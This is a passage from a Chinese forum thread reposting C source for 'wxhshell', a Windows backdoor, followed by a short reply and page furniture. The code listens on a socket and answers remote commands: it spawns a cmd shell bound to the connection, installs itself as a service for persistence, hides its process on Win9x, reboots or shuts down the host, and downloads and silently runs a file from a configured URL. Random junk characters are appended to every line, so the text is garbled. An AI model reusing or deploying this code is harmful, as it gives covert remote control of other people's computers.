  else { 2 $?C7(kW  
-i)ZQCE  
    switch(cmd[0]) { ny`#%Vs  
  0BIy>wy:  
  // 帮助 ;.TRWn#  
  case '?': { Q$HG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &;D8]7d  
    break; I_<I&{N>  
  } >sWp ?  
  // 安装 'yL%3h _@  
  case 'i': { Ag&0wN+jTM  
    if(Install()) t^6dzrF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&,]Z6{ >  
    else +pR[U4$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kuol rfGB  
    break; ;?8_G%va  
    } tS|(K=$  
  // 卸载 fjU8gV  
  case 'r': { $lLz 3YS  
    if(Uninstall()) 'R c,Mq'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lEhk'/~  
    else R $&o*K`?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Eo?k<:zPm  
    break; Pb?$t  
    } oJ4 AIQjB  
  // 显示 wxhshell 所在路径 @&1ZB6OCb:  
  case 'p': { "br,/Dk>MX  
    char svExeFile[MAX_PATH]; pL{U `5S  
    strcpy(svExeFile,"\n\r"); |962G1.  
      strcat(svExeFile,ExeFile); Vm3v-=6  
        send(wsh,svExeFile,strlen(svExeFile),0); dR"@`  
    break; v#.r.{t  
    } 7 T1=q{#M  
  // 重启 -?mfE+kt  
  case 'b': { Z/t+8;TMR,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jh ]i]7r  
    if(Boot(REBOOT)) #)C[5?{SNq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ||;hci O  
    else { <$X3Hye  
    closesocket(wsh); BZR:OtR^  
    ExitThread(0); nPye,"A Ol  
    } CitDm1DXt/  
    break; _NMm/]mN /  
    } oZ!m  
  // 关机 MO n  
  case 'd': { 8P1=[i]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ',:*f8Jk  
    if(Boot(SHUTDOWN)) `[W[H(AjQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P*I}yPeb  
    else { EL(nDv  
    closesocket(wsh); 1IZ3=6  
    ExitThread(0); MBqt&_?K  
    } JwAYG5W  
    break; f}x.jxY?  
    } H^s<{E0<  
  // 获取shell n p\TlUc  
  case 's': { T~Gvp0r}h  
    CmdShell(wsh); U-R6xxPZ  
    closesocket(wsh); `QyO`y=?[Y  
    ExitThread(0); q U]gj@R  
    break; 1+}{8D_F  
  } Of4^?` ^  
  // 退出 aFS,GiB  
  case 'x': { Q$="_y2cTA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hM{{\yZS  
    CloseIt(wsh); U c@Ao:  
    break; 4`!Z$kt  
    } Jo@|"cE=  
  // 离开 no< ^f]33  
  case 'q': { @>W(1mRi  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z@]e{zO  
    closesocket(wsh); qI~xlW  
    WSACleanup(); Tl2C^j  
    exit(1); @wE5S6! B\  
    break; (X?%^^e!  
        } 4}4Pyjh  
  } A29gz:F(  
  } |j#C|V%kV  
1 D<_N  
  // 提示信息 J"=vE=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^yyC [Mz  
} wtH? [>S;)  
  } (2:/8\_P  
UN]f"k&  
  return; /.Ww6a~  
} r[lF<2&*R  
aC%m-m  
// shell模块句柄 aVK3?y2  
int CmdShell(SOCKET sock) D"ND+*Q [X  
{ b\-&sM(W"  
STARTUPINFO si; f] J M /  
ZeroMemory(&si,sizeof(si)); K }Vv4x1U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XqW@rU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Aq0S-HKF  
PROCESS_INFORMATION ProcessInfo; >rJnayLF  
char cmdline[]="cmd"; S$Q8>u6Wk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v?& -xH-S  
  return 0; 763v  
} :9$F'd\  
Q 4f/Z  
// 自身启动模式 Hhari!R XC  
int StartFromService(void) 2@%$;.  
{ <iH`rP#  
typedef struct ^OstR`U3  
{ K)Q]a30  
  DWORD ExitStatus; <xgTS[k  
  DWORD PebBaseAddress; PzA|t;*  
  DWORD AffinityMask; ~~SwCXZ+b^  
  DWORD BasePriority; >i5acuth  
  ULONG UniqueProcessId; b0Kc^uj5  
  ULONG InheritedFromUniqueProcessId; m6',SY9T  
}   PROCESS_BASIC_INFORMATION; ^!9~Nwn  
Cb9;QzBVA#  
PROCNTQSIP NtQueryInformationProcess; p' +  
HA2k [F@3^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lJE93rXU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 59O?_F9  
WIv?}gi: X  
  HANDLE             hProcess; =y/8 ^^  
  PROCESS_BASIC_INFORMATION pbi; jC7&s$>Q"g  
IFDZfx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '+$EhFwD  
  if(NULL == hInst ) return 0; }lfnnK#  
dVsE^jsL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $D}{]MN.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Mi/&f   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l&?}hq^'Dn  
[$ejp>'Ud  
  if (!NtQueryInformationProcess) return 0; |b|&XB_<]Z  
) *,5"CO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k[HAkB \{  
  if(!hProcess) return 0; xYhrO  
j{Txl\D>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8AnP7}n;?'  
%Mk0QKzUo  
  CloseHandle(hProcess); /ew Ukc8,  
}w1~K'ck}>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w0C~*fn3l  
if(hProcess==NULL) return 0; unBy&?&p  
*7h!w!LN~  
HMODULE hMod; Up,vD)tG  
char procName[255]; D,g1<:<  
unsigned long cbNeeded; nSkPM 5\TI  
qUOKB6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x}Aw)QCh+r  
/yZQ\{=  
  CloseHandle(hProcess); VxXzAeM  
]Yvga!S"C  
if(strstr(procName,"services")) return 1; // 以服务启动 H<}^'#"p  
;uW}`Q<  
  return 0; // 注册表启动 tPGJ<30  
} \l.-eu'O  
vh*U]3@  
// 主模块 4qYUoCR&  
int StartWxhshell(LPSTR lpCmdLine) U )l,'y2  
{ e{v=MxO=S  
  SOCKET wsl; Fm # w2o  
BOOL val=TRUE; JM\m)RH0  
  int port=0; r%.do;5  
  struct sockaddr_in door; sRrzp=D  
9M1d%jT  
  if(wscfg.ws_autoins) Install(); "sl1vzRN  
7g(F#T?;'  
port=atoi(lpCmdLine); o4zM)\;F  
k:#P|z$UD  
if(port<=0) port=wscfg.ws_port; [fKUyIY_  
9> g,  
  WSADATA data; >$,y5 AJ&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?zsB6B?;  
,$ ^C4I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i![dPM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^-[?#]  
  door.sin_family = AF_INET; }-o{ASC#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BYo/57&:  
  door.sin_port = htons(port); ulER1\W  
&2=dNREJ}1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZU9c 5/J  
closesocket(wsl); " $ew~;z  
return 1; kr9g K~  
} jvV9eA:zl  
9gEssTkts  
  if(listen(wsl,2) == INVALID_SOCKET) { = pzn u+,  
closesocket(wsl); Z+StB15  
return 1; 3,Q^& 1  
} ?&^?-S% p  
  Wxhshell(wsl); ZKOXI%~Mc  
  WSACleanup(); Y"6w,_'m  
d'|, [p  
return 0; ^+1#[E  
Ii^5\v|C  
} >N?2""  
PT5AA8F  
// 以NT服务方式启动 f7'q-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d)"?mD:m/M  
{ W(Uu@^  
DWORD   status = 0; I6s3+x;O  
  DWORD   specificError = 0xfffffff; s#S%#LM  
1<<kA:d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U7DCx=B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {" 4e+y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z-B%'/.  
  serviceStatus.dwWin32ExitCode     = 0; @YH+c G|  
  serviceStatus.dwServiceSpecificExitCode = 0; ,= &B28Qe)  
  serviceStatus.dwCheckPoint       = 0; NcAp_q? 4  
  serviceStatus.dwWaitHint       = 0; ~-83Q5/[  
 N<L`c/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tWdhDt8$&  
  if (hServiceStatusHandle==0) return; z 8*8OWM  
\i[BP  
status = GetLastError(); '/I:^9  
  if (status!=NO_ERROR) \M"UmSB o  
{ 4\&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gBf4's  
    serviceStatus.dwCheckPoint       = 0; u<n`x6gL  
    serviceStatus.dwWaitHint       = 0; 3<?XTv-  
    serviceStatus.dwWin32ExitCode     = status; cM_ Fp  
    serviceStatus.dwServiceSpecificExitCode = specificError; nCKbgM'"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ((rv]f{  
    return; ]}UgS+g>$  
  } {@u<3 s  
z1!6%W_.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pU!o7>p  
  serviceStatus.dwCheckPoint       = 0; [Lp,Hqi5  
  serviceStatus.dwWaitHint       = 0; jb /8?7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M]-VHI[&W  
} K{l5m{:%  
S }>n1F_  
// 处理NT服务事件,比如:启动、停止 cMzkL%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M/*NM= -a  
{ ^<0IB#dA  
switch(fdwControl) 9Z6C8J v  
{ dP>w/$C}  
case SERVICE_CONTROL_STOP: IF@HzT;Q  
  serviceStatus.dwWin32ExitCode = 0; &l}?v@@+_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I@l>w._.  
  serviceStatus.dwCheckPoint   = 0; D0;tcm.$  
  serviceStatus.dwWaitHint     = 0; rQP"Y[  
  { @:x"]!1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!M)xNl/  
  } *wV[TKaN  
  return; )nu~9km3  
case SERVICE_CONTROL_PAUSE: <TNk?df7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^\:2}4Uj_  
  break; jvzBh-!  
case SERVICE_CONTROL_CONTINUE: * \HRw +cL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9B +wYJp  
  break; +/?iCmW  
case SERVICE_CONTROL_INTERROGATE: s~},y]YV  
  break; oY`qInM_  
}; CT d|`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jLcHY-P0V  
} Vdn.)ir~P  
9zgNjjCl]  
// 标准应用程序主函数 ,kgF2K!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V8O.3fo`[`  
{ ?G? gy2  
!6w{(Rc(C  
// 获取操作系统版本 0W>9'Rw  
OsIsNt=GetOsVer(); MjaUdfx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D*vm cSf  
Pj7gGf6v  
  // 从命令行安装 CQODXB^  
  if(strpbrk(lpCmdLine,"iI")) Install(); FyG6 !t%  
0>!/rR7  
  // 下载执行文件 WP-jtZ?!"  
if(wscfg.ws_downexe) { A6ewdT?>,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qrz4}0  
  WinExec(wscfg.ws_filenam,SW_HIDE); # X.+  
} ~DLIzg7p!  
'Zk<l#"}  
if(!OsIsNt) { eSl-9 ^  
// 如果时win9x,隐藏进程并且设置为注册表启动 3z{S}~  
HideProc(); 4x'AC%&Qi  
StartWxhshell(lpCmdLine); M+sj}  
} jiIST^Zq#t  
else l9{#sas  
  if(StartFromService()) v9}[$HWx  
  // 以服务方式启动 )Mzt3u  
  StartServiceCtrlDispatcher(DispatchTable);  d^39t4  
else ]Qi,j#X  
  // 普通方式启动 =:h3w#_c  
  StartWxhshell(lpCmdLine); R V!o4"\]  
2w?G.pO#  
return 0; dm R3Y.\jd  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五